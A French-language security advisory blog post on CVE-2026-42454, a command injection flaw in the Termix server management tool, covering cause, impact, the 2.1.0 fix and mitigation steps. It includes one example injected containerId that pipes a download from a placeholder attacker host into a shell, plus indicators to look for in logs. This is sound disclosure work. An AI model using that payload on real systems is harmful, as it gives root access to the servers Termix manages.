CVE-2026-42454 : RCE CVSS 9.9 dans Termix via injection de commande OS sur le paramètre containerId non assaini. Correctif 2.1.0 publié le 8 mai 2026.
En bref
- CVE-2026-42454 (CVSS 9.9) : injection de commande OS dans la plateforme web de gestion de serveurs Termix, via le paramètre containerId non assaini.
- Versions affectées : toutes versions de Termix antérieures à 2.1.0. Correctif disponible en 2.1.0 publié le 8 mai 2026.
- Action urgente : passer immédiatement en 2.1.0 ou supérieur, ou suspendre l''accès à l''interface web Termix tant que la mise à jour n''est pas appliquée.
Les faits
Le 8 mai 2026, l''équipe Termix a publié un avis de sécurité accompagné du correctif 2.1.0 corrigeant CVE-2026-42454, une vulnérabilité critique d''injection de commande OS dans la plateforme open-source de gestion de serveurs distants. Termix est une interface web destinée à orchestrer des serveurs Linux et Windows à travers SSH, en particulier pour piloter Docker à distance — démarrer, arrêter, inspecter ou supprimer des containers sans terminal local. La popularité du projet auprès des homelab et des PME automatisant leur infrastructure le place dans la catégorie des outils dont la compromission donne un accès root à l''ensemble du parc géré.
La vulnérabilité porte un score CVSS 9.9 sur la métrique 3.1, soit la valeur maximale après les RCE non authentifiées. L''ajout du score Privileges Required: Low (et non None) explique l''écart avec un 10.0 strict : l''attaquant doit disposer d''un compte authentifié sur l''interface Termix. Cette contrainte est faible dans la pratique, car de nombreuses installations sont déployées avec des identifiants par défaut, partagés en équipe ou accessibles par des comptes opérateurs ayant le droit minimal de lister les containers, ce qui suffit déjà à exploiter la faille.
Sur le plan technique, le bug se loge dans la chaîne de traitement des requêtes Docker. Termix expose deux familles de points de terminaison qui acceptent un identifiant de container : des routes REST avec containerId en paramètre d''URL, et des messages WebSocket qui transportent containerId dans un champ JSON. Dans toutes les versions antérieures à 2.1.0, la valeur reçue est interpolée directement dans une chaîne de commande shell — par exemple « docker logs
L''exploitation est triviale pour qui dispose d''un compte authentifié. Il suffit d''envoyer une valeur de containerId contenant un séparateur shell standard tel que « ; », « && », « | » ou « $(...) » pour ajouter une commande arbitraire à la chaîne envoyée par SSH. Par exemple, un containerId du type « abc; curl http://attaquant/x | sh » exécute le shell distant avec les privilèges du compte SSH configuré dans Termix pour le serveur cible — typiquement root ou un compte avec droits Docker, qui équivaut au root sur la machine hôte. La conjonction « SSH avec compte privilégié » + « shell injection » donne mécaniquement un accès root sur tout serveur géré par Termix.
L''avis du projet ne mentionne pas d''exploitation active à la date de publication, et aucun PoC public n''est encore référencé sur les agrégateurs habituels selon TheHackerWire. Cette absence ne doit pas être interprétée comme un délai de grâce : la simplicité du bug et la lisibilité du commit correctif sur GitHub permettent à un attaquant compétent de reconstruire l''attaque en lisant le diff. Les outils de gestion de serveurs sont par ailleurs des cibles régulièrement scannées par des opérateurs de botnets, qui automatisent la collecte de bannières et l''empreinte de versions vulnérables sur Shodan, Censys et FOFA.
La cause racine est un défaut de conception classique dans les outils orchestrant des commandes shell distantes : appel d''ssh2.Client.exec() avec une chaîne pré-construite, au lieu d''utiliser un mécanisme paramétrable comme spawn() avec arguments séparés ou un wrapper Docker côté serveur cible qui aurait isolé les containerId dans un argv. Le correctif 2.1.0 introduit une validation stricte du format attendu pour containerId — typiquement un identifiant Docker (chaîne hexadécimale courte ou longue) — et rejette toute valeur contenant des caractères en dehors de [a-fA-F0-9]. Cette approche par liste blanche est la seule défense robuste contre les injections shell : toute liste noire de séparateurs est contournable.
L''ampleur des installations Termix est difficile à estimer. Le projet ne publie pas de statistiques officielles, mais le dépôt GitHub agrège plusieurs milliers d''étoiles et de forks, et les images Docker officielles cumulent des dizaines de milliers de pulls mensuels. Une majorité des déploiements observés exposent l''interface web sur des ports non standard (8080, 8443) avec une authentification par mot de passe simple. La pratique consistant à placer Termix derrière un reverse-proxy public ou un Cloudflare Tunnel sans couche d''authentification supplémentaire — pour accéder à ses propres serveurs depuis l''extérieur — est répandue et expose mécaniquement la faille.
Le bulletin Termix recommande, en plus du passage à 2.1.0, de réviser les permissions accordées au compte SSH utilisé en aval par la plateforme. Beaucoup d''installations utilisent un compte « termix » avec sudo NOPASSWD ou directement le compte root pour simplifier la configuration initiale ; ce raccourci transforme toute injection de commande en compromission complète. Le compte SSH utilisé par Termix devrait être limité à l''exécution de commandes Docker via un wrapper sudo restrictif ou par un docker.sock proxifié avec ACL.
Impact et exposition
Toute installation Termix antérieure à 2.1.0 disposant d''au moins un compte applicatif valide est exploitable. Dans les déploiements typiques où plusieurs administrateurs partagent l''interface, ou bien où des comptes opérateurs ont été créés avec des permissions limitées (lister/inspecter les containers), la faille permet à n''importe lequel d''entre eux d''obtenir un shell root sur tous les serveurs gérés par la plateforme — ce qui constitue une élévation de privilèges horizontale et verticale combinée.
Les déploiements à risque maximal sont ceux qui exposent Termix directement sur Internet, ce qui est fréquent dans les homelab et les PME utilisant l''outil pour piloter une flotte distante. Dans ces configurations, un attaquant qui obtient ou devine des identifiants — phishing, fuite de mot de passe, brute-force lent — passe immédiatement de l''accès web à l''accès root sur l''ensemble de l''infrastructure orchestrée. Les architectures internes (Termix derrière un VPN ou un SSO d''entreprise) limitent cet impact à un attaquant ayant déjà un pied dans le réseau.
L''exposition se mesure aussi par le rayon d''action : Termix est conçu pour gérer plusieurs serveurs simultanément. Une exploitation réussie ne compromet pas un seul hôte, mais potentiellement la totalité du parc déclaré dans la configuration de la plateforme. Dans une PME ayant ainsi une dizaine de VPS Linux gérés par Termix, la faille transforme un compte opérateur en compromission de l''ensemble du datacenter virtuel.
Recommandations immédiates
- Mettre à jour Termix vers la version 2.1.0 ou supérieure. Le correctif valide strictement le format attendu pour containerId et rejette les valeurs non conformes.
- Si la mise à jour ne peut être appliquée immédiatement, suspendre l''accès à l''interface web Termix ou la restreindre aux administrateurs de confiance via une ACL réseau.
- Auditer les logs SSH des serveurs gérés à la recherche de commandes inhabituelles déclenchées par le compte applicatif Termix : présence de « ; », « && » ou « $( » dans les commandes docker, exécutions de curl/wget non attendues.
- Réviser les permissions du compte SSH utilisé par Termix : remplacer un sudo NOPASSWD large par un wrapper limité aux sous-commandes docker autorisées, ou utiliser un docker.sock proxifié avec ACL au lieu d''une connexion SSH root.
- Faire une rotation des mots de passe applicatifs Termix si la version vulnérable a été exposée à des utilisateurs non strictement de confiance.
⚠️ Urgence
CVSS 9.9 et exploitation triviale dès qu''un compte authentifié existe. La compromission de l''interface Termix donne mécaniquement root sur tous les serveurs gérés. Si l''interface est exposée sur Internet et n''a pas été patchée, considérer le parc comme potentiellement compromis tant qu''un audit n''a pas été conduit.
Comment savoir si je suis vulnérable ?
Comparer la version installée à 2.1.0. Pour une installation Docker, exécuter « docker inspect
Votre infrastructure est-elle exposée ?
Ayi NEDJIMI réalise des audits ciblés pour identifier et corriger vos vulnérabilités.
Demander un auditÀ propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
CVE-2026-37709 : RCE critique Snipe-IT via upload (9.8)
CVE-2026-37709 : RCE CVSS 9.8 dans Snipe-IT via upload de fichiers aux permissions insécurisées. Mise à jour requise pour les versions 8.4.0 et antérieures.
CVE-2026-42208 : SQL injection LiteLLM proxy IA au KEV
CVE-2026-42208 : SQL injection pré-authentifiée dans le proxy LiteLLM exploitée 36 heures après divulgation. Ajoutée au KEV de la CISA le 8 mai 2026.
CVE-2026-43997 : vm2 sandbox escape RCE (CVSS 10.0)
CVE-2026-43997, 44005 et 44006 (CVSS 10.0) : douze sandbox escapes critiques dans vm2 Node.js, dont deux non patchés en 3.11.1. Migration urgente recommandée.
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire